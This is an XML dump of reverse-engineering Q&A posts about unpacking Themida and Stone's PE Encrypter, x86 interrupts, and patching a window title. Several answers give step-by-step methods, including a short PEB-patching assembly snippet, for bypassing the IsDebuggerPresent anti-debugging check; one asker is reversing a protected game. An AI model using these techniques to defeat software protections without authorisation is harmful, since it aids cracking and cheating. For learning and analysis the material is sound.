  <row Id="16971" PostTypeId="2" ParentId="16966" CreationDate="2017-12-14T08:51:09.040" Score="19" Body="&lt;p&gt;Unpacking Themida, especially the newer versions, is not a small task by any means. It is literally worlds different from unpacking UPX and if you are new to unpacking, you have absolutely no business trying to unpack Themida. Here's why:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Themida uses an extremely complex virtual machine environment combined with every anti-debug and anti-analysis trick in the books, combined with many different obfuscation methods. For example, in a UPX packed binary, you just need to find OEP and dump it down before finally rebuilding the IAT. In a Themida binary, different parts of the code are run in virtual machines and it obscures the behavior of the target program. The best method to unpack a VM-protected packer like Themida is to &lt;em&gt;devirtualize&lt;/em&gt; it, which involves figuring out the entire instruction set that the packer uses and writing a script to interpret that language. All of that is only one step. Themida also severely obstructs the import address table, splits up the entire program and only loads one portion at a time (this prevents you from &quot;dumping&quot; the entire program like you did with UPX) and then unloads it on a per-routine basis, and implements a bunch of anti-analysis tricks, &lt;a href=&quot;http://www.oreans.com/themida_features.php&quot; rel=&quot;noreferrer&quot;&gt;many of which are listed on their website.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you will need to know the exact version of Themida you are dealing with. Themida is so complicated to unpack that most people write scripts and so you can search for a script for the given version you are trying to unpack and attempt to use that. If the version is new and there is no script, given your level of expertise right now, this will be a very, very long and arduous task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further reading:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www2.cs.arizona.edu/people/debray/Publications/generic-deobf.pdf&quot; rel=&quot;noreferrer&quot;&gt;A Generic Approach to Automated Deobfuscation of Executable Code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://repo.palkeo.com/repositories/mirror7.meh.or.id/Reverse%20Engineering/unpackers.pdf&quot; rel=&quot;noreferrer&quot;&gt;Anti-Unpacker Tricks by Peter Ferrie&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://forum.tuts4you.com/topic/32632-themida-winlicense-manually-unpack-tutorial-exsample/&quot; rel=&quot;noreferrer&quot;&gt;Themida/WinLicense Manual Unpack tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-12-14T08:51:09.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16973" PostTypeId="2" ParentId="16968" CreationDate="2017-12-14T15:05:00.823" Score="4" Body="&lt;p&gt;I believe what you're looking for is IDASkins:&#xA;&lt;a href=&quot;https://github.com/zyantific/IDASkins&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/zyantific/IDASkins&lt;/a&gt;&#xA;and this theme: &#xA;&lt;a href=&quot;https://github.com/eugeii/ida-consonance&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/eugeii/ida-consonance&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more plugins, go to: &lt;a href=&quot;https://github.com/onethawt/idaplugins-list&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/onethawt/idaplugins-list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22194" LastActivityDate="2017-12-14T15:05:00.823" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16974" PostTypeId="2" ParentId="16843" CreationDate="2017-12-14T15:28:45.423" Score="0" Body="&lt;p&gt;This is a comment esque answer, but I want to give this my best shot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'd like you to understand I'm not the best with programming, and reversing itself, so this answer is probably nowhere near the best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is something very odd about this assembly that any reverse engineer would probably instantly notice, and I'm very glad you've noticed it to, thats 1 step down. You'll notice there is also at the end of each opcode byte, a pattern of bytes &lt;code&gt;... 37 12&lt;/code&gt; is what I mainly am talking about, this means you can &lt;em&gt;possibly&lt;/em&gt; check if the end of the opcode bytes are the same. This is a way to locate disasm patterns. Also, by the way, there are a few find signature libraries lying around for python. Here is one, &lt;a href=&quot;https://pypi.python.org/pypi/libsigscan-python/20170124&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pypi.python.org/pypi/libsigscan-python/20170124&lt;/a&gt; (I'm not sure they work with IDAPyton, who knows, by the way, maybe IDAPython has an opcode byte finding function)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helped! Good luck :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ask-leo.com/what_is_signature_scanning.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ask-leo.com/what_is_signature_scanning.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22194" LastActivityDate="2017-12-14T15:28:45.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16975" PostTypeId="1" AcceptedAnswerId="16976" CreationDate="2017-12-14T17:32:36.077" Score="1" ViewCount="2330" Body="&lt;p&gt;What's the difference between an interrupt line and an interrupt number (like 0x80) ? Also how are IRQs related to syscalls?&lt;/p&gt;&#xA;" OwnerUserId="14535" LastActivityDate="2017-12-14T19:32:27.583" Title="What's the difference between an interrupt line and the interrupt number" Tags="|system-call|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16976" PostTypeId="2" ParentId="16975" CreationDate="2017-12-14T19:32:27.583" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.osdev.org/Interrupts&quot; rel=&quot;nofollow noreferrer&quot;&gt;LMGTFY&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An interrupt is a signal from a device, such as the keyboard, to the CPU, telling it to immediately stop whatever it is currently doing and do something else. For example, the keyboard controller sends an interrupt when a key is pressed. To know how to call on the kernel when a specific interrupt arise, the CPU has a table called the IDT, which is a vector table setup by the OS, and stored in memory. There are 256 interrupt vectors on x86 CPUs, numbered from 0 to 255 which act as entry points into the kernel. The number of interrupt vectors or entry points supported by a CPU differs based on the CPU architecture.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There are generally three classes of interrupts on most platforms:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Exception&lt;/strong&gt;: These are generated internally by the CPU and used to alert the running kernel of an event or situation which requires its attention. On x86 CPUs, these include exception conditions such as Double Fault, Page Fault, General Protection Fault, etc.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Interrupt Request (IRQ) or Hardware Interrupt&lt;/strong&gt;: This type of interrupt is generated externally by the chipset, and it is signalled by latching onto the #INTR pin or equivalent signal of the CPU in question. There are two types of IRQs in common use today.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;em&gt;IRQ Lines, or Pin-based IRQs&lt;/em&gt;: These are typically statically routed on the chipset. Wires or lines run from the devices on the chipset to an IRQ controller which serializes the interrupt requests sent by devices, sending them to the CPU one by one to prevent races. In many cases, an IRQ Controller will send multiple IRQs to the CPU at once, based on the priority of the device. An example of a very well known IRQ Controller is the Intel 8259 controller chain, which is present on all IBM-PC compatible chipsets, chaining two controllers together, each providing 8 input pins for a total of 16 usable IRQ signalling pins on the legacy IBM-PC.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;em&gt;Message Based Interrupts&lt;/em&gt;: These are signalled by writing a value to a memory location reserved for information about the interrupting device, the interrupt itself, and the vectoring information. The device is assigned a location to which it wites either by firmware or by the kernel software. Then, an IRQ is generated by the device using an arbitration protocol specific to the device's bus. An example of a bus which provides message based interrupt functionality is the PCI Bus.&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Software Interrupt&lt;/strong&gt;: This is an interrupt signalled by software running on a CPU to indicate that it needs the kernel's attention. These types of interrupts are generally used for System Calls. On x86 CPUs, the instruction which is used to initiate a software interrupt is the &quot;INT&quot; instruction. Since the x86 CPU can use any of the 256 available interrupt vectors for software interrupts, kernels generally choose one. For example, many contemporary unixes use vector 0x80 on the x86 based platforms.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-12-14T19:32:27.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16977" PostTypeId="1" CreationDate="2017-12-14T22:43:01.300" Score="-1" ViewCount="102" Body="&lt;p&gt;So I have a function called _invoke_watson, and one line of this function is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Call IsDebuggerPresent&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now how do I follow the value of IsDebuggerPresent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another general question , if I'm completely stuck at a point , is it ok to ask on stack exchange on how to progress. As if I have no clue and I ask someone else there is blah blah , what steps do I take?&lt;/p&gt;&#xA;" OwnerUserId="22599" LastActivityDate="2017-12-15T00:54:44.587" Title="Following the value of a function in a function" Tags="|ida|" AnswerCount="1" CommentCount="1" ClosedDate="2017-12-17T08:22:06.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="16978" PostTypeId="2" ParentId="16977" CreationDate="2017-12-15T00:31:33.703" Score="1" Body="&lt;p&gt;What debugger / disassembler are you using? Please include this in your question, but assuming its IDA, double click on &quot;IsDebuggerPresent&quot;, or if its x32dbg / x64dbg you can right click on it -&gt; follow in disassembly -&gt; IsDebuggerPresent &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see you tagged IDA, so what you need to do is double click on IsDebuggerPresent&lt;/p&gt;&#xA;" OwnerUserId="22194" LastEditorUserId="22194" LastEditDate="2017-12-15T00:54:44.587" LastActivityDate="2017-12-15T00:54:44.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16979" PostTypeId="1" AcceptedAnswerId="17011" CreationDate="2017-12-15T10:09:56.637" Score="5" ViewCount="2034" Body="&lt;p&gt;I use x64dbg and IDA Pro the process is 32bit. I'm not sure if I'm doing this right or not because I'm getting a crash which I'm not sure if it's caused by me doing something wrong or the startup process of the application failing for some reason because it can't find the window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I'm trying to do is change the window title of some application on startup. I'm trying to achieve this by setting a break point on the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms632680(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;user32 function&lt;/a&gt; &lt;code&gt;CreateWindowExA&lt;/code&gt; and then attempting to change the &lt;code&gt;lpWindowName&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what execution looks like when the bp is hit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gKGKv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gKGKv.png&quot; alt=&quot;code&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where you see the string &quot;Title possibly&quot; originally contained what was the windows title, so I assume that's the location I need to change. When changing at that address is when I get the error though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for any ignorance, I'm new to this and practicing. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I worked on this a little more and made a dummy program to help me figure out what was happening. So the &lt;code&gt;CreateWindowExA&lt;/code&gt; function in this application used the same pointer for both &lt;code&gt;lpClassName&lt;/code&gt; and &lt;code&gt;lpWindowName&lt;/code&gt; args. So patching the program to push just a string instead of that pointer successfully achieved what I was aiming for.&lt;/p&gt;&#xA;" OwnerUserId="22620" LastEditorUserId="22620" LastEditDate="2017-12-19T22:17:30.230" LastActivityDate="2017-12-20T14:55:22.100" Title="Changing a windows name by patching create window function call" Tags="|ida|debugging|binary-analysis|x86|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16980" PostTypeId="1" AcceptedAnswerId="16992" CreationDate="2017-12-15T13:46:13.743" Score="0" ViewCount="867" Body="&lt;p&gt;Does anybody know an unpacker/decryptor that can unpack Stone's PE Encrypter v2.0? I found one but it was for a previous version, not version 2.0. IDA's universal unpacker seems to hang when trying to unpack this. &quot;waiting for unpacker to finish&quot; forever. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="11615" LastEditorUserId="18507" LastEditDate="2017-12-15T19:31:12.200" LastActivityDate="2017-12-18T05:47:37.243" Title="Stone's PE Encrypter v2.0" Tags="|ida|unpacking|packers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16981" PostTypeId="2" ParentId="16979" CreationDate="2017-12-15T15:14:15.753" Score="2" Body="&lt;p&gt;Hook it, then set the parameter &lt;code&gt;lpWindowName&lt;/code&gt; to &lt;code&gt;&quot;your name here&quot;&lt;/code&gt; (no promises this will work) OR breakpoint on &lt;code&gt;mov edx, dword ptr ss:[EBP+C]&lt;/code&gt;, then grab EBP from the FPU (registers box), go in to a program like ReClass and set the &lt;code&gt;EBP+0xC&lt;/code&gt; (window name) to whatever name you want (90% sure this will work). References: &lt;a href=&quot;https://stackoverflow.com/questions/873658/how-can-i-hook-windows-functions-in-c-c&quot;&gt;https://stackoverflow.com/questions/873658/how-can-i-hook-windows-functions-in-c-c&lt;/a&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=K_jj6yF5ac0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=K_jj6yF5ac0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22194" LastActivityDate="2017-12-15T15:14:15.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16983" PostTypeId="1" AcceptedAnswerId="16984" CreationDate="2017-12-15T20:14:32.417" Score="2" ViewCount="14695" Body="&lt;p&gt;I have an address, that I think is not allowing me to run the debugger in IDA, I need help trying to stop it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also , what does &lt;code&gt;kernel32_IsDebuggerPresent&lt;/code&gt; mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4CJ7l.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4CJ7l.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22599" LastEditorUserId="18698" LastEditDate="2017-12-15T20:56:18.007" LastActivityDate="2017-12-16T15:31:00.860" Title="Bypass IsDebuggerPresent" Tags="|ida|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16984" PostTypeId="2" ParentId="16983" CreationDate="2017-12-15T20:49:30.217" Score="11" Body="&lt;p&gt;Let's have a look of the function's description in &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680345(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;MSDN&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Determines whether the calling process is being debugged by a&#xA;  user-mode debugger&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you guessed, this function is commonly used as an anti-debugging trick with the aim to break the process whenever the program detects that it is being debugged. &lt;code&gt;IsDebuggerPresent&lt;/code&gt; checks for the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;BeingDebugged&lt;/a&gt; flag in the PEB (Process Environment Block) and will return a non-zero value if it is indeed being debug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have several options to bypass this trick, some of them are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Runtime patching:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/16988/18698&quot;&gt;Set EAX to zero&lt;/a&gt; after &lt;code&gt;IsDebuggerPresent&lt;/code&gt; being called&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modify the PEB itself by injecting this code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax,dword ptr fs:[18]&#xA;mov eax,dword ptr ds:[eax+30]&#xA;mov byte ptr ds:[eax+2],0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will patch the &lt;code&gt;BeingDebugged&lt;/code&gt; flag in the PEB, ensuring &lt;code&gt;IsDebuggerPresent&lt;/code&gt; always returns 0.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;You can use a plugin like &lt;a href=&quot;https://github.com/nihilus/idastealth&quot; rel=&quot;noreferrer&quot;&gt;idastealth&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Permanent Patching:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can fill the call to IsDebuggerPresent with NOPs or something similar to skip the check&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-12-16T15:31:00.860" LastActivityDate="2017-12-16T15:31:00.860" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16987" PostTypeId="1" CreationDate="2017-12-16T12:02:13.917" Score="0" ViewCount="1895" Body="&lt;p&gt;I'm currently trying to reverse engineer a game,but there's and anti-debug, so far the only leads I've tried to follow are:&#xA;I found an IsDebuggerPresent API, I tried to change the value of EAX by putting in  a hardware breakpoint (write) at the address of the API, then running the debugger and opening general registers and changing EAX it to 0x00000000, but that didn't accomplish anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to know how I can find the origin of this popup in IDA&lt;a href=&quot;https://i.stack.imgur.com/NYtGP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NYtGP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that way I can start working backwards from the origin and find out where it comes from.&lt;/p&gt;&#xA;" OwnerUserId="22599" LastActivityDate="2017-12-16T14:47:28.697" Title="Working backwards from a popup" Tags="|ida|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16988" PostTypeId="2" ParentId="16987" CreationDate="2017-12-16T14:47:28.697" Score="5" Body="&lt;p&gt;The error you've received was probably thrown by either &lt;a href=&quot;https://www.oreans.com/themida.php&quot; rel=&quot;noreferrer&quot;&gt;Themida&lt;/a&gt; or &lt;a href=&quot;https://www.oreans.com/winlicense.php&quot; rel=&quot;noreferrer&quot;&gt;WinLicense&lt;/a&gt;, a well known protectors. I'd say here that fully bypass of both &lt;em&gt;Themida&lt;/em&gt; and &lt;em&gt;WinLicense&lt;/em&gt; are goals that are hard to reach for an inexperienced reverse engineer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because it's the 3rd question you ask about this subject, and it seems like you are truly struggle with it, I'll show you a quick &lt;em&gt;step-by-step&lt;/em&gt; tutorial of how to bypass &lt;code&gt;IsDebuggerPresent&lt;/code&gt; on runtime, from inside IDA and avoid the pop-up message.  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;First, let's create a small program which all it does will be to check whether it was executed inside a debugger or not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(){&#xA;    if (IsDebuggerPresent()) {&#xA;        printf(&quot;Debugger found\n&quot;);&#xA;    } else {&#xA;        printf(&quot;Debugger not found\n&quot;);&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the program only contains a &lt;code&gt;main()&lt;/code&gt; function which will print &quot;&lt;em&gt;Debugger found&lt;/em&gt;&quot; or &quot;&lt;em&gt;Debugger not found&lt;/em&gt;&quot;, depends on the result of &lt;code&gt;IsDebuggerPresent()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's compile the program. I used &lt;a href=&quot;https://bellard.org/tcc/&quot; rel=&quot;noreferrer&quot;&gt;TinyCC&lt;/a&gt; because it is less noisy than some of the other compilers. Basically you can use whatever C compiler for windows you wish.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./tcc.exe check_for_debugger.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that we have an executable &lt;code&gt;.exe&lt;/code&gt; file, let's execute it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./check_for_debugger.exe&#xA;Debugger not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As expected, we ended up with &quot;&lt;em&gt;Debugger not found&lt;/em&gt;&quot; printed to the console. Let's open the executable in IDA Pro. As you can see, the main function looks something like this (click on it to enlarge):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/42Z96.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/42Z96.png&quot; alt=&quot;main function&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's execute it. You may want to put a breakpoint before the program exits but not before the message is printed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can see that &quot;Debugger found&quot; was printed to the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's modify the result of &lt;code&gt;IsDebuggerPresent()&lt;/code&gt; by changing the value of &lt;code&gt;eax&lt;/code&gt; just after the function was called. For this, we'll create a breakpoint in offset &lt;code&gt;0x0040100F&lt;/code&gt; (in my program) which is where the result of &lt;code&gt;IsDebuggerPresent()&lt;/code&gt; is checked by &lt;code&gt;test eax, eax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Execute the program inside IDA. The program has stopped at our breakpoint on &lt;code&gt;test eax, eax&lt;/code&gt; and we can see in the registers panel that &lt;code&gt;eax&lt;/code&gt; has non-zero value (in my case eax==1). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NZfyX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NZfyX.png&quot; alt=&quot;eax=1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's right click on &lt;code&gt;eax&lt;/code&gt; and choose &quot;Zero value&quot;, and immediately the value of &lt;code&gt;eax&lt;/code&gt; will changed to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0sYVf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0sYVf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's continue the execution (don't forget the breakpoint before &lt;code&gt;exit()&lt;/code&gt; in case you removed it for some reason). And as we wanted, the message &quot;&lt;em&gt;Debugger not found&lt;/em&gt;&quot; is printed in the console.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Hope you understood how to bypass &lt;code&gt;IsDebuggerPresent&lt;/code&gt; by modifying the value of &lt;code&gt;eax&lt;/code&gt;, now you can continue your reverse-engineering process.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-12-16T14:47:28.697" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16992" PostTypeId="2" ParentId="16980" CreationDate="2017-12-18T05:32:44.653" Score="6" Body="&lt;p&gt;Depending on what you're looking to accomplish, you have a handful of options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;https://rce.su/rldepacker/&quot; rel=&quot;noreferrer&quot;&gt;RL!dePacker 1.5&lt;/a&gt;, which supports unpacking Stone's PE Encryptor 2.0. The technology at the core of this unpacker, &lt;a href=&quot;https://www.reversinglabs.com/open-source/titanengine.html&quot; rel=&quot;noreferrer&quot;&gt;TitanEngine&lt;/a&gt;, has been immensely improved since its implementation back then, and is available as open source via ReversingLabs. Official video tutorial from RL can be &lt;a href=&quot;https://www.youtube.com/watch?v=mNI93FcCNSc&quot; rel=&quot;noreferrer&quot;&gt;viewed here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/crackinglandia/fuu&quot; rel=&quot;noreferrer&quot;&gt;FUU&lt;/a&gt; utilizes TitanEngine and &lt;a href=&quot;https://github.com/crackinglandia/fuu/search?utf8=%E2%9C%93&amp;amp;q=PE%20Encryptor%20v2.0&amp;amp;type=&quot; rel=&quot;noreferrer&quot;&gt;has signatures for multiple versions of Stone's PE Encryptor, including v2.0&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/The_aPE&quot; rel=&quot;noreferrer&quot;&gt;The aPE&lt;/a&gt;, which allows for patching of supported packed binaries--Stone's PE Encryptor v2.0 being one of the supported packers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/search?l=Text&amp;amp;q=%22PE%20Encryptor%20v2.0%22&amp;amp;type=Code&amp;amp;utf8=%E2%9C%93&quot; rel=&quot;noreferrer&quot;&gt;A code search on GitHub for &quot;PE Encryptor v2.0&quot;&lt;/a&gt; yields additional results you may want to sift through in case any of the solutions above don't pan out.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2017-12-18T05:47:37.243" LastActivityDate="2017-12-18T05:47:37.243" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16993" PostTypeId="1" CreationDate="2017-12-18T15:23:00.190" Score="3" ViewCount="259" Body="&lt;p&gt;I am reversing a fairly complex app. In x64dbg (with xAnalyzer), is it possible to have custom function definitions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple example would be to have a definition for &lt;code&gt;WinMain(hInstance, hPrevInstance, lpCmdLine, nCmdShow)&lt;/code&gt;, that would show similar to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/k0eKf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k0eKf.png&quot; alt=&quot;Definition example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding API definitions to &lt;code&gt;apis_def&lt;/code&gt; in &lt;code&gt;xAnalyzer&lt;/code&gt; but it did not work out.&lt;/p&gt;&#xA;" OwnerUserId="22648" LastActivityDate="2018-09-21T05:42:45.467" Title="Define function in x64dbg" Tags="|dynamic-analysis|x64dbg|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16995" PostTypeId="2" ParentId="16979" CreationDate="2017-12-18T17:57:01.387" Score="3" Body="&lt;p&gt;Tip: Install xAnalyzer for x64dbg, that might help you in your reversing efforts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you are in the &lt;code&gt;user32.dll&lt;/code&gt; function &lt;code&gt;CreateWindowExA&lt;/code&gt;. I would not change that parameter there, but outside in user code (familiarize yourself with the &lt;code&gt;stdcall&lt;/code&gt; convention, its what WinApi uses). The parameter you are shooting for is three pushes above the &lt;code&gt;call CreateWindowExA&lt;/code&gt; in user code. Either change the pointer or the content under it and don't forget to null-terminate.&lt;/p&gt;&#xA;" OwnerUserId="22648" LastEditorUserId="22648" LastEditDate="2017-12-20T14:55:22.100" LastActivityDate="2017-12-20T14:55:22.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16997" PostTypeId="1" CreationDate="2017-11-30T04:14:47.607" Score="2" ViewCount="205" Body="&lt;p&gt;As far as I know, global and static variables are stored in heap memory, while local variables are on stack memory. I think this is the case when we speak about a binary file (like PE) that is located in memory. If this is correct, I am wondering: Are local and global variables stored plainly in a disk image (binary in Disk), can we see them directly by inspecting the disk image?&lt;/p&gt;&#xA;" OwnerUserId="22438" OwnerDisplayName="Aan" LastActivityDate="2017-12-20T11:59:17.187" Title="Can we see local variable directly by inspecting the disk image (file in disk)?" Tags="|windows|stack|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
